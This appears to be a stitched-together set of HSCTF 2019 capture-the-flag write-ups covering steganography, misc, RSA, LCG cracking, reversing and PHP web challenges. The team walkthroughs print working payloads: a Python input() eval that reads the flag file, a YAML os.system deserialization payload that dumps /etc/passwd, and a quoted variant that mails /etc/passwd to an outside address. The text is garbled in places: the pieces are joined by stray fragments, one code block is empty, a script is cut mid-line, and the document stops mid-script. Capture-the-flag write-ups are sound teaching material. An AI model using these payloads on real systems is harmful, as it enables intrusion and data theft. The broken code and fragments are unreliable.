Try zsteg on both file.```> zsteg koala.png imagedata .. text: "\n\n\n\n\n\n !"b1,b,lsb,xy .. text: "%q&),52+"b1,bgr,lsb,xy .. text: "<https://www.mediafire.com/file/0n67qsooy8hcy30/hmmm.txt/fileA"b2,b,lsb,xy .. text: "6Z?gdF$T"b2,b,msb,xy .. text: "{sXsE4}8"b3,bgr,msb,xy .. text: "\";Cc_$y)*I"b4,b,msb,xy .. text: "%BE##cgv"``````> zsteg koala2.pngimagedata .. text: "\n\n\n\n\n\n !"b1,b,lsb,xy .. text: "%q&),52+"b1,bgr,lsb,xy .. text: "passkey: whatdowehavehereJo"b2,b,lsb,xy .. text: "6Z?gdF$T"b2,b,msb,xy .. text: "{sXsE4}8"b3,g,lsb,xy .. text: "Wg8je^i<"b4,b,msb,xy .. text: "%BE##cgv"```Visiting the [website](https://www.mediafire.com/file/0n67qsooy8hcy30/hmmm.txt/fileA), we can download a [file](hmmm.txt).
Check what file type is it.```> file hmmm.txthmmm.txt: GPG symmetrically encrypted data (AES cipher)```Use gpg decrypt this file with key "whatdowehavehere" (16 words).
```hsctf{koalasarethecutestaren'tthey?}``` |
# study-of-roofs (150)
## Problem
My friend has always gotten in to weird things, and his recent obsession is with roofs. He sent me this picture recently, and said he hid something special in it. Do you think you could help me find it?
(Attachments: files/dem_shingles.jpg)
## Solution
This is a simple binwalk chall. Let's go ahead and binwalk it.
```$ binwalk --dd=".*" dem_shingles.jpg
DECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------0 0x0 JPEG image data, EXIF standard12 0xC TIFF image data, big-endian, offset of first image directory: 814689 0x3961 Unix path: /www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt=1562983 0x17D967 JPEG image data, EXIF standard1562995 0x17D973 TIFF image data, big-endian, offset of first image directory: 81568937 0x17F0A9 Unix path: /www.w3.org/1999/02/22-rdf-syntax-ns#"> |
A High School CTF event.
We tried to solve challenges as much as possible we can and as a result we secured 23rd position globally.

As you can see from the image we lacks in binary exploitation or pwn challenges field.If anyone interested can contact us :smiley:.
Challenge Name | Points | Flag------------ | ------------- | --------------- [A Simple Conversation](#a-simple-conversation-)| 158| hsctf{plz_u5e_pyth0n_3} |[Broken Repl](#broken_repl-) | 407| hsctf{dont_you_love_parsers} |[Hidden Flag](#hidden-flag-) | 290 | hsctf{n0t_1nv1s1bl3_an5m0r3?-39547632} |[64+word](#64word--) | 421| hsctf{b4s3_64_w0rd_s3arch3s_ar3_fu9?} |[Broken gps](#broken-gps-) | 280| hsctf{garminesuckz} |[Real Reversal](#realreversal-) | 274| hsctf{utf8_for_the_win} |[Json Info](#jsoninfo-) | 427| hsctf{JS0N_or_Y4ML} |[Massive Rsa](#massive-rsa-) | 256 | hsctf{forg0t_t0_mult1ply_prim3s} |[Really Secure Algorithm](#really-secure-algorithm-) | 314 | hsctf{square_number_time} |[Tux Kitchen](#tux-kitchen-) | 401 | hsctf{thiii111iiiss_isssss_yo0ur_b1rthd4y_s0ng_it_isnt_very_long_6621} |[I Thought Trig Was Really Easy](#i-thought-trig-was-really-easy-) | 374 |hsctf{:hyperthonk:} |[Tux Talk Show 2019](#tux-talk-show-2019) | 406 | hsctf{n1ce_j0b_w4th_r4ndom_gue33ing} |[Bitecode](#bitecode--) | 377|hsctf{wH04_u_r_2_pr0_4_th1$} |[MD5--](#md5---) | 230 | hsctf{php_type_juggling_is_fun} |[Networked Password](#networked-password--) | 314 | hsctf{sm0l_fl4g} |[Double Trouble](#double-trouble-)| 397| hsctf{koalasarethecutestaren'tthey?}
So I will try to discuss the challenges i loved the *most* here:
# **MISC**
## A Simple Conversation-:> description:
### Solution: On looking to the section of source code we see
```pythonprint("What's your age?")
age = input("> ")
sleep(1)
```Then I try to think that when it parses the input to input() function then it tries to evaluate it first that is it string , dictionary ,tuple or etc.? So guessing the flag on the server I try to send the arguments as you can see.
```streaker@DESKTOP-DS7FIJL:$ nc misc.hsctf.com 9001Hello!Hey, can you help me out real quick.I need to know your age.What's your age?> open("flag").read()Traceback (most recent call last): File "talk.py", line 18, in <module> age = input("> ") File "<string>", line 1, in <module>IOError: [Errno 2] No such file or directory: 'flag'streaker@DESKTOP-DS7FIJL:$ nc misc.hsctf.com 9001Hello!Hey, can you help me out real quick.I need to know your age.What's your age?> open("flag.txt").read()Wow!Sometimes I wish I was hsctf{plz_u5e_pyth0n_3}...```There you can see the flag:`hsctf{plz_u5e_pyth0n_3}`
## Broken_Repl-:> description:
### Solution: ```python try: # try to compile the input code = compile(line, "<input>", "exec") # compile the line of input except (OverflowError, SyntaxError, ValueError, TypeError, RecursionError) as e: # user input was bad print("there was an error in your code:", e) # notify the user of the error if False: exec(code) # run the code # TODO: find replacement for exec # TODO: exec is unsafeexcept MemoryError: # we ran out of memory # uh oh # lets remove the flag to clear up some memory print(flag) # log the flag so it is not lost```You can see that you have to cause memory error only. So my teammate Lucas looked on web and finds out [this](https://stackoverflow.com/questions/50709371/ast-literal-eval-memory-error-on-nested-list).So you can see that we can cause memory error from nested list.Great learning :smiley:
```pythonecho "[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]" | nc misc.hsctf.com 8550>>> s_push: parser stack overflowhsctf{dont_you_love_parsers}```There is the flag:`hsctf{dont_you_love_parsers}` ## Hidden Flag-:> description:
### Solution: I opened up my hexeditor HXD a great tool to change and view the hexes of file quite easily and I see messed up bytes in beginning. Then at the end of the file i see some text `key is invisible`. So then i realise that the bytes must be xored with the key and we got it by this [script](assets/misc/fixchall.py). ```pythonimport binasciifrom itertools import cycle,izip
f=open("chall.png")g=(f.read())key="invisible"ciphered = ''.join(chr(ord(c)^ord(k)) for c,k in izip(g, cycle(key)))l=open("fixed.png","a+")l.write(ciphered)
```That's it :smiley:
## 64+Word -:> description:
### Solution :So from the description we see the word search and challenge name is 64+. So we need to do base64 word search of flag.Be sure as the base64 encode texts are multiple of 4 . So choose the texts accordingly.Here is the [Script](/assets/misc/ord64.py)
```pythonfrom base64 import *file=open("64word.txt")data=file.read().split("\n")o=0while o<100: g=data[o:] for q in range(100): j=q s="" for i in g: if j>=len(i): break s+=i[j] j+=1 possible_text=(b64decode(s[:4*(len(s)//4)])) if "hsctf{" in possible_text[:6]: end_ind=possible_text.find('}')+1 print("The flag is "+ possible_text[:end_ind] ) exit(0) o+=1
```
then there is the flag:`hsctf{b4s3_64_w0rd_s3arch3s_ar3_fu9?}`
## Broken gps-:> description:Input Format:
A challenge to test some coding skills.
### Solution:Here's the [script](assets/misc/dir_gps.py) thats explain it all.
```pythonimport math
suffix=".txt"flag=""dirs=["east","west","south","north","northwest","northeast","southeast","southwest"]for i in range(1,13): up=0 right=0 filename=str(i)+suffix f=open(filename) h=(f.read()).split() for q in range(int(h[0])): pos=dirs.index(h[q+1]) if pos==0 or pos==5 or pos==6: right+=1 if pos==1 or pos==4 or pos==7: right-=1 if pos==3 or pos==4 or pos==5: up+=1 if pos==2 or pos==6 or pos==7: up-=1 flag+=chr(round(math.sqrt(up*up+right*right)*2)%26+97)print('hsctf{'+flag+'}') ```and here is the output:>hsctf{garminesuckz}
another script as well written by teammate in a more formal way :```pythonimport numpy as npfrom math import sqrt
dict_direction = { "north": np.array([ 0.0, 1.0]), "northeast": np.array([ 1.0, 1.0]), "northwest": np.array([-1.0, 1.0]), "east": np.array([ 1.0, 0.0]), "south": np.array([ 0.0,-1.0]), "southeast": np.array([ 1.0,-1.0]), "southwest": np.array([-1.0,-1.0]), "west": np.array([-1.0, 0.0])}
def distance(point1, point2): x1, y1 = point1 x2, y2 = point2 return sqrt((x2 - x1)**2 + (y2 - y1)**2)
flag = ""
for filename in range(1,13):
position_wrong = np.array([0.0, 0.0]) position_right = np.array([0.0, 0.0])
with open(f"{filename}.txt") as f: coords = f.read().strip().split('\n')[1:]
for coord in coords: position_wrong += dict_direction[coord] position_right -= dict_direction[coord]
flag += chr(ord('a') + round(distance(position_wrong, position_right)) % 26)
print(f"hsctf{{{flag}}}")```
## RealReversal-:> description:
### Solution:On opening file we see
Reversing the file means reversing the hexes.So one liner will do that
```open("reversed_reversed.txt", "wb").write(open("reversed.txt", "rb").read()[::-1])```
and on opening reversed file you see utf-8 chars
Explanation:Why it happens that on the reverse bytes we can't see any characters, because
>UTF-8 is a variable width character encoding capable of encoding all 1,112,064 valid code points in Unicode using one to four 8-bit bytes.
So on reversing 8 bytes it messed up as it reversed in two parts of four and four.Thus resulting in random chars.So you can see the flag now in reverse order:`hsctf{utf8_for_the_win}`
## JsonInfo-:> description:
### Solution:Trying few thing we see that it accepts string and shows that it's json or give the error otherwise.So we quite stuck on thinking that what kind of error we have to produce.Then googling skills had to come as it is misc, so we found a beautiful [link](https://bzdww.com/article/164589/) and in section 5 we see yaml.loadand here is the warning:
>Refer to the PyYAML documentation:
>Warning: It is not safe to call yaml.load with data received from an untrusted source! Yaml.load is just as powerful as pickle.load, so you can call any Python function.In this beautiful example found in the popular Python project Ansible , you can provide this value as (valid) YAML to Ansible Vault, which calls os.system() with the parameters provided in the file.
>!!python/object/apply:os.system ["cat /etc/passwd | mail [email protected]"]Therefore, effectively loading YAML files from user-supplied values will open the door for attacks.
>repair:
>Always use yaml.safe_load unless you have a very good reason.
So we tried to do these thing as instructed here to see if the vulnerability is here:
```Welcome to JSON info!Please enter your JSON:!!python/object/apply:os.system ["cat /etc/passwd "]root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinsyslog:x:101:102::/home/syslog:/usr/sbin/nologinType int is unsupportedPlease use a valid JSON array or objectThank you for using JSON info!
```So, yeah the vulnerability is here, Great!!!
```streaker@DESKTOP-DS7FIJL:$ nc -q 1 misc.hsctf.com 9999Welcome to JSON info!Please enter your JSON:!!python/object/apply:os.system ["cat flag.txt"]hsctf{JS0N_or_Y4ML}Type int is unsupportedPlease use a valid JSON array or objectThank you for using JSON info!```The flag is:`hsctf{JS0N_or_Y4ML}`
# **CRYPTO**
## Massive Rsa-:> description:
### Solution:
We are given with large modulus and ciphertext```n = 950687172821200540428729809153981241192606941085199889710006512529799315561656564788637203101376144614649190146776378362001933636271697777317137481911233025291081331157135314582760768668046936978951230131371278628451555794052066356238840168982528971519323334381994143826200392654688774136120844941887558297071490087973944885778003973836311019785751636542119444349041852180595146239058424861988708991060298944680661305392492285898022705075814390941667822309754536610263449507491311215196067928669134842614154655850281748314529232542980764185554607592605321212081871630106290126123668106453941684604069442637972979374182617204123679546880646955063471680804611387541602675808433185504968764805413712115090234016146947180827040328391684056285942239977920347896230959546196177226139807640271414022569186565510341302134143539867133746492544472279859740722443892721076576952182274117616122050429733446090321598356954337536610713395670667775788540830077914016236382546944507664840405622352934380411525395863579062612404875578114927946272686172750421522119335879522375883064090902859635110578120928185659759792150776022992518497479844711483878613494426215867980856381040745252296584054718251345106582780587533445417441424957999212662923937862802426711722066998062574441680275377501049078991123518677027512513302350533057609106549686502083785061647562269181863107725160293272971931807381453849850066056697913028167183570392948696346480930400320904644898839942228059188904225142187444604612121676565893284697317106343998167640380023972222033520190994951064491572372368101650142992876761420785551386138148283615194775971673577063363049929945959258097086463812469068598955485574579363616634109593903116561526921965491646400040600138481505369027344295330767163087489333402201631708610718911106905154471963379233672543874307197342217544783263700843246351822145605839955798639016346308363889766574606793652730311687899415585873892778899179927359964882217066947566799298173326850382334054179474389651499891117938361854701587568363867264590395711833275763832842002504433841816245069655064326325306033334336469743800464944131049874472540605264250854258280373869113420817955012823462838351481855289027030577957168468047751024562853260494808998446682723835213272609799649864902376137320638444968430858790173696935815430513690803796736064125183005539073920032869713201073105497655763097638587404309062750746064609677994654409535743453776560694719663801069746654445359756195253816544699551e = 65537c = 358031506752691557002311547479988375196982422041486602674622689505841503255891193495423484852537391230787811575487947331018616578066891850752360030033666964406349205662189685086812466246139857474435922486026421639388596443953295273675167564381889788905773472245885677132773617051291379731995063989611049809121305468803148551770792609803351375571069366930457307762595216806633327492195442616272627113423143562166655122764898972565860928147259322712805600875994388377208017608434714747741249858321487547543201109467214209112271771033615033493406609653861223917338109193262445432032609161395100024272041503554476490575517100959892951805088735483927048625195799936311280172779052715645263075391841840633949032397082918665057115947698884582406130793211266028238396814146117158924884049679536261009188784571232730683037831940224049822081316216826346444136538278601803972530054219050666898301540575647763640218206611889707353810593843233814867745903144987805142815936160730054575462147126944741419094810558325854901931279755547624294325463528887326262902481099025253153222985717157272371423956465138892784879439141174797253720403065191378958340033965895823856879711180993895832306970105743588207727415495184380531676665121800713201192348940665501790550763379781627493441276077597720109700408848080221149485596419299548121287851605588246207568970548444975309457244824469026820421430723018384050095117420646392648577894835705672984626936461419833136418809219064810002991383584690376016818146065548853387107821627387061145659169570667682815001659475702299150425968489723185023734605402721950322618778361500790860436305553373620345189103147000675410970964950319723908599010461359668359916257252524290941929329344189971893558606572573665758188839754783710992996790764297302297263058216442742649741478512564068171266181773137060969745593802381540073397960444915230200708170859754559500051431883110028690791716906470624666328560717322458030544811229295722551849062570074938188113143167107247887066194761639893865268761243061406701905009155852073538976526544132556878584303616835564050808296190660548444328286965504238451837563164333849009829715536534194161169283679744857703254399005457897171205489516009277290637116063165415762387507832317759826809621649619867791323227812339615334304473447955432417706078131565118376536807024099950882628684498106652639816295352225305807407640318163257501701063937626962730520365319344478183221104445194534512033852645130826246778909064441514943```It's really large. So I thought to check anyways on ecc factoring for its to be prime and we got that its really a massive prime number.So then I realize that choosing a large modulus so that it can be factorized into p & q which should be unknown for the sake of security. But if its a prime number then we have to just calculate euler totient of n i.e. n-1 to exploit it, and then calculate `d=modInverse(e,phi(n))` and tada! we have private exponent, then just basic stuffs.```python>>> import binascii>>> binascii.unhexlify(hex(pow(c,d,n))[2:])'hsctf{forg0t_t0_mult1ply_prim3s}'```So the flag is :`hsctf{forg0t_t0_mult1ply_prim3s}`
## Really Secure Algorithm-:> description:
### Solution:
We are given with modulus and ciphertext```n = 263267198123727104271550205341958556303174876064032565857792727663848160746900434003334094378461840454433227578735680279553650400052510227283214433685655389241738968354222022240447121539162931116186488081274412377377863765060659624492965287622808692749117314129201849562443565726131685574812838404826685772784018356022327187718875291322282817197153362298286311745185044256353269081114504160345675620425507611498834298188117790948858958927324322729589237022927318641658527526339949064156992164883005731437748282518738478979873117409239854040895815331355928887403604759009882738848259473325879750260720986636810762489517585226347851473734040531823667025962249586099400648241100437388872231055432689235806576775408121773865595903729724074502829922897576209606754695074134609e = 65537c = 63730750663034420186054203696069279764587723426304400672168802689236894414173435574483861036285304923175308990970626739416195244195549995430401827434818046984872271300851807150225874311165602381589988405416304964847452307525883351225541615576599793984531868515708574409281711313769662949003103013799762173274319885217020434609677019589956037159254692138098542595148862209162217974360672409463898048108702225525424962923062427384889851578644031591358064552906800570492514371562100724091169894418230725012261656940082835040737854122792213175137748786146901908965502442703781479786905292956846018910885453170712237452652785768243138215686333746130607279614237568018186440315574405008206846139370637386144872550749882260458201528561992116159466686768832642982965722508678847```Then I factored n on factordb.I got that n is the square of a prime number.Then just again simple basic stuffs calculate euler totient of n i.e. p*(p-1) , and then calculate `d=modInverse(e,phi(n))` and tada we have private exponent, then just basic stuffs.
```>>> p=16225510719965861964299051658340559066224635411075742500953901749924501886090804067406052688894869028683583501052917637552385089084807531319036985272636554557876754514524927502408114799014949174520357440885167280739363628642463479075654764698947461583766215118582826142179234382923872619079721726020446020581078274482268162477580369246821166693123724514271177264591824616458410293414647>>> import gmpy2>>> d=gmpy2.invert(e,p*(p-1))>>> import binascii>>> binascii.unhexlify(hex(pow(c,d,n))[2:])'hsctf{square_number_time}'```So the flag is :`hsctf{square_number_time}`
## Tux Kitchen-:> description:
### Solution:Here's the problem
```pythonimport random
good_image = """ TUX's KITCHEN ..- - . ' `. '.- . .--. . |: _ | : _ :| |`(@)--`.(@) | : .' `-, : :(_____.-'.' ` : `-.__.-' : ` _. _. . / / `_ ' \\ . . : \\ \\ . : _ __ .\\ . . / : `. \\ : / ' : `. . ' ` : : : `. .`_ : : / ' | :' \\ . : '__ : .--' \\`-._ . .' : `). ..| \\ ) : '._.' : ; \\-'. ..: / '. \\ - ....- | ' -. : _____ | .' ` -. .'-- --`. .' `-- -- """
flag = open('flag.txt','r').read()MY_LUCKY_NUMBER = 29486316
# I need to bake special stuff!def bake_it(): s = 0 for i in range(random.randint(10000,99999)): s = random.randint(100000000000,999999999999) s -= random.randint(232,24895235) return random.randint(100000000000,999999999999)
# Create my random messdef rand0m_mess(food,key): mess = [] mess.append(key) art = key bart = bake_it() cart = bake_it() dart = bake_it() for i in range(len(food)-1): art = (art*bart+cart)%dart mess.append(art) return mess
# Gotta prepare the food!!!def prepare(food): good_food = [] for i in range(len(food)): good_food.append(food[i]^MY_LUCKY_NUMBER) for k in range(len(good_food)): good_food[i] += MY_LUCKY_NUMBER return good_food
# Bake it!!!def final_baking(food,key): baked = rand0m_mess(food,key) treasure = [] for i in range(len(baked)): treasure.append(ord(food[i])*baked[i]) treasure = prepare(treasure) return treasure
print(good_image)key = bake_it()print(final_baking(flag,key))```great image .So at first we reversed the prepared treasure,but look closely here ```for k in range(len(good_food)): good_food[i] += MY_LUCKY_NUMBER```Iterator is k but i is used that is constant So we need to just xor for all the numbers with the lucky number.Then to reverse this line `treasure.append(ord(food[i])*baked[i])`
I need to find `baked[i]` for which I see the random_mess function which is nothing other than [LCG](https://en.wikipedia.org/wiki/Linear_congruential_generator) itself.So we know the starting of flag is 'hsctf{'.Then accordingly we calculated first six values of the sequence and with the help of works of msm from p4team on lcg we used the [script](assets/crypto/fullscript.py) to get the flag .This might fail sometime because of gcd(modulo , numbers ) !=1 or modulus isn't prime .So we have to test this for a while to get the result.
```pythonfrom functools import reducefrom gmpy2 import *
def crack_unknown_increment(states, modulus, multiplier): increment = (states[1] - states[0]*multiplier) % modulus return modulus, multiplier, increment
def crack_unknown_multiplier(states, modulus): multiplier = (states[2] - states[1]) * invert(states[1] - states[0], modulus) % modulus return crack_unknown_increment(states, modulus, multiplier)
def crack_unknown_modulus(states): diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])] zeroes = [t2*t0 - t1*t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])] modulus = abs(reduce(gcd, zeroes)) return crack_unknown_multiplier(states, modulus)
st=input("enter the states:")g=stfor i in range(len(g)): g[i]^= 29486316 # the lucky number#print("treasure",g) #check for purpose flag="hsctf{"m=[]for i in range(len(flag)): if g[i]%ord(flag[i])==0: m+=[g[i]//ord(flag[i])] n,k,d = crack_unknown_modulus(m)print('modulo-> %d \t multiplier-> %d \t increment -> %d ' % (n,k,d))
w=[m[0]]for q in range(1,70): w+= [(w[q-1]*k+d) % n] # the sequence
if m==w[:6]: print("this worked") # usual checkans=[]for i in range(70): ans+=[g[i]//w[i]] #generating flag
print(''.join(chr(i) for i in ans))
```
If you want to test this for yourself here are the [used numbers](assets/crypto/ans.txt):-Here is the flag after we ran the script `hsctf{thiii111iiiss_isssss_yo0ur_b1rthd4y_s0ng_it_isnt_very_long_6621}`
# **REVERSAL**
## I Thought Trig Was Really Easy-:> description:
### Solution:
The problem is here as:
```pythonimport math
def nice_math(x, y): return round(x + y*math.cos(math.pi * x))
lots_of_nums = lambda n,a:(lambda r:[*r,n-sum(r)])(range(n//a-a//2,n//a+a//2+a%2))
def get_number(char): return ord(char) - 96
inp = input("Enter the text: ")
out = []for i in range(0, len(inp)): for j in lots_of_nums(nice_math(get_number(inp[i]), len(inp) - i), i + 1): out.append(nice_math(j, i + 1))
ans = [-25, 1, 10, 7, 4, 7, 2, 9, 3, 8, 1, 10, 3, -1, -8, 3, -6, 5, -4, 7, -5, 8, -3, 10, -1, 12, 10, 7, -6, 9, -4, 11, -2, 13, -2, -11, 6, -9, 8, -7, 10, -5, 12, 1, -12, 7, -10, 9, -8, 11, -6, 13, -4, 11, 6, -13, 8, -11, 10, -9, 12, -7, 14, -5, 22, -16, 7, -14, 9, -12, 11, -10, 13, -8, 15, -6, -2, 2, -21, 4, -19, 6, -17, 8, -15, 10, -13, 12, -11, 5]if (out == ans): print("That is correct! Flag: hsctf{" + inp + "}")else: print("Nope sorry, try again!")```So we see lot_of_nums which is very wierd trying to reverse the function looks difficult .So we see that each position of the flag depends upon the length of the flag and the character in this line `nice_math(get_number(inp[i]), len(inp) - i), i + 1`.That's nice_math function also looks difficult to reverse.
So I tried to simply bruteforce it on the set of characters and we calculated the length of the flag on the basis of length of list ans `(((12+1)*(12+2)/2)-1)`.This was faster to do so i did it!
```pythonimport math
def nice_math(x, y): return round(x + y*math.cos(math.pi * x))
lots_of_nums = lambda n,a:(lambda r:[*r,n-sum(r)])(range(n//a-a//2,n//a+a//2+a%2))
def get_number(char): return ord(char) - 96charset="_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!:@#$%*-'"inp = ""flag=""l=1while l<=12: x=0 while x<len(charset): inp=flag+charset[x]+"b"*(12-l) assert(len(inp)==12) out = [] for i in range(0, len(inp)): for j in lots_of_nums(nice_math(get_number(inp[i]), len(inp) - i), i + 1): out.append(nice_math(j, i + 1))
ans = [-25, 1, 10, 7, 4, 7, 2, 9, 3, 8, 1, 10, 3, -1, -8, 3, -6, 5, -4, 7, -5, 8, -3, 10, -1, 12, 10, 7, -6, 9, -4, 11, -2, 13, -2, -11, 6, -9, 8, -7, 10, -5, 12, 1, -12, 7, -10, 9, -8, 11, -6, 13, -4, 11, 6, -13, 8, -11, 10, -9, 12, -7, 14, -5, 22, -16, 7, -14, 9, -12, 11, -10, 13, -8, 15, -6, -2, 2, -21, 4, -19, 6, -17, 8, -15, 10, -13, 12, -11, 5] g=((l+1)*(l+2)//2)-1 if(out[:g]==ans[:g]): flag+=charset[x] break x+=1 l+=1
print('The flag is:hsctf{'+flag+'}')```The flag is: `hsctf{:hyperthonk:}`
## Tux Talk Show 2019:> description:
### Solution:
For this challenge it says about a lucky number.```Welcome to Tux Talk Show 2019!!!Enter your lucky number:```So we opened the ghidra for pseudocode:```c// modified a bit by me int main(int argc,char **argv)
{ long lVar1; int rand; time_t time; basic_ostream *this; long in_FS_OFFSET; int input; int i; int acc; int j; int array [6]; basic_string output_string [32]; basic_istream output_stream [520]; long stack_cookie_i_guess; lVar1 = *(long *)(in_FS_OFFSET + 0x28); basic_ifstream((char *)output_stream,0x1020b0); time = time((time_t *)0x0); srand((uint)time); /* try { // try from 0010127e to 001012c0 has its CatchHandler @ 00101493 */ this = operator<<<std--char_traits<char>> ((basic_ostream *)cout,"Welcome to Tux Talk Show 2019!!!"); operator<<((basic_ostream<char,std--char_traits<char>> *)this,endl<char,std--char_traits<char>>); operator<<<std--char_traits<char>>((basic_ostream *)cout,"Enter your lucky number: "); operator>>((basic_istream<char,std--char_traits<char>> *)cin,&input); array[0] = 0x79; array[1] = 0x12c97f; array[2] = 0x135f0f8; array[3] = 0x74acbc6; array[4] = 0x56c614e; array[5] = -0x1e; i = 0; while (i < 6) { rand = rand(); array[(long)i] = array[(long)i] - (rand % 10 + -1); i = i + 1; } acc = 0; j = 0; while (j < 6) { acc = acc + array[(long)j]; j = j + 1; } if (acc == input) { ... } return 0;}```here we have 6 numbers in an array and its being added after subtracting this `(iVar1 % 10 + -1)`and if our assumed number is correct than it will give the flag for us.
So two ways we can solve it ,during the team discussion over this challenge I told them that I can write brute as the numbers are in the small range i.e 51 .Meanwhile the other way as my teammate suggested was to attack the rand function . I would explain both here.
```pythonfrom pwn import *
a=[121, 1231231, 20312312, 122342342, 90988878, -30]host="rev.hsctf.com"port=6767
m=sum(a)-48g=sum(a)+6 # setting the rangeinp=m+16 #this is where i am guessing the number and try to run multiple times in the loopwhile inp<g+1: try: s=remote(host,port) print(s.recvline()) s.sendline(str(inp)) j=s.recvline() if "hsctf{" in j: print(j) s.close() exit(0) print(j) except: s.close() sleep(1) continue```Luckily, I got the flag from there `hsctf{n1ce_j0b_w4th_r4ndom_gue33ing}` The second approach is here, save it as time.c and compile to a.out:```c#include "stdio.h"#include "stdlib.h"
int main(int argc, char *argv[]) {
time_t t; srand((unsigned) time(&t);;
int array[6] = {0x79, 0x12c97f, 0x135f0f8, 0x74acbc6, 0x56c614e, -0x1e};
int acc = 0; for(int i = 0; i < 6; i++) acc += array[(long)i] - (rand() % 10 + -1);
printf("%d\n", acc); return 0;}```and use it over this script ```pythonfrom pwn import *import time
host = "rev.hsctf.com"port = 6767
s = remote(host,port)p = process("./a.out")
res = p.recvline()
s.recvuntil(':')s.sendline(res)s.interactive()```That's it , An attack over the rand function while running the netcat server.
## Bitecode -:> description:
### Solution:This Challenge was done by Lucas my teammate So I will try to explain as far as i know as he is not writing writeups.
http://www.javadecompilers.com/ Use it for decompiling the given class file to [java file](assets/reversing/BiteCode.java).
So lot of ifs for checking single characters of the flag one by one .So using regexes he extracted them and tried to write a brute to choose them.
[Watch this video](https://youtu.be/rYOZHB_ABlo)[](https://youtu.be/rYOZHB_ABlo)
<video src="assets/reversing/regexislife.mp4" width="320" height="200" controls preload></video>
So that's it to write a script to get the flag:smiley:.```pythonb = ['A'] * 28for i in range(0xff): if (i ^ 189074585) - 189074673 == 0: b[0] = i if (i ^ -227215135) - -227215214 == 0: b[1] = i if (i ^ 19240864) - 19240899 == 0: b[2] = i if (i ^ 245881291) - 245881279 == 0: b[3] = i if (i ^ 233391094) - 233390992 == 0: b[4] = i if (i ^ 56978353) - 56978378 == 0: b[5] = i if (i ^ -213838484) - -213838565 == 0: b[6] = i if (i ^ -231671677) - -231671605 == 0: b[7] = i if (i ^ -132473862) - -132473910 == 0: b[8] = i if (i ^ 143449065) - 143449053 == 0: b[9] = i if (i ^ 108102484) - 108102411 == 0: b[10] = i if (i ^ 71123188) - 71123073 == 0: b[11] = i if (i ^ 146096006) - 146096089 == 0: b[12] = i if (i ^ -173487738) - -173487628 == 0: b[13] = i if (i ^ -116507045) - -116507132 == 0: b[14] = i if (i ^ -68013365) - -68013319 == 0: b[15] = i if (i ^ 171414622) - 171414529 == 0: b[16] = i if (i ^ 94412444) - 94412524 == 0: b[17] = i if (i ^ 197453081) - 197453163 == 0: b[18] = i if (i ^ -50622153) - -50622201 == 0: b[19] = i if (i ^ 190140381) - 190140290 == 0: b[20] = i if (i ^ 77383944) - 77383996 == 0: b[21] = i if (i ^ -41590082) - -41590047 == 0: b[22] = i if (i ^ 61204303) - 61204283 == 0: b[23] = i if (i ^ -24637751) - -24637791 == 0: b[24] = i if (i ^ 61697107) - 61697122 == 0: b[25] = i if (i ^ 267894989) - 267895017 == 0: b[26] = iprint(''.join([chr(i) for i in b[:-1]]))```Here's the flag `hsctf{wH04_u_r_2_pr0_4_th1$}`
# **WEB**
## MD5-- :> description:
### Solution:
```php
```From this you can see that flag contains the data of flag file and then value of md4 variable is set and after its value is compared to the md4(value) and then only we can obtain flag.
One thing to note that '==' comparison is used. This is where Type juggling comes. See for more [PHP Magic Tricks: Type Juggling](https://www.owasp.org/images/6/6b/PHPMagicTricks-TypeJuggling.pdf)
So what we will try to do to pick up a string which prefix would be '0e' for a reason then adding numbers ahead then calculate its md4 which will be equal to `/0e[0-9]{30}/`.So when the comparison is to be made then the strings will be treated as exponent of 0 (like 0e4=0). Thus both sides will be zero hence we will have our flag.```php {}".format(st, hashed_s) sys.exit(0) if s%10000000==0: print("[+] %d iterations done"%(s))
breakit()```Running this we get this after more than 250000000 iterations.> [+] found! md4( 0e251288019 ) ---> 0e874956163641961271069404332409
Here's our flag `hsctf{php_type_juggling_is_fun}`
## Networked Password -:> description:
### Solution:
We are given a https://networked-password.web.chal.hsctf.com/ which prompts us to submit a password having a simple form to fill it up, but from the description we see thats its delays some thing we don't know what until i saw a time differnece in our inputs like for a gibberish we see fast output but for a flag like "hsctf{" it delayed a bit. And there was a hint given as well-:
> Hint : You know the flag format
So after attempting few times i got that every character adds 0.45-0.5 seconds.But running this script you need a better internet connection.So i tried running using online interpeter there's are ton of available. You can use https://repl.it/languages/python3 or https://codeanywhere.com/editor/ you need these because of their fast servers.
And At last my first *timing attack challenge*. ```pythonimport requestsimport datetime
URL="https://networked-password.web.chal.hsctf.com/"charset="_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%*-'"flag="hsctf{"
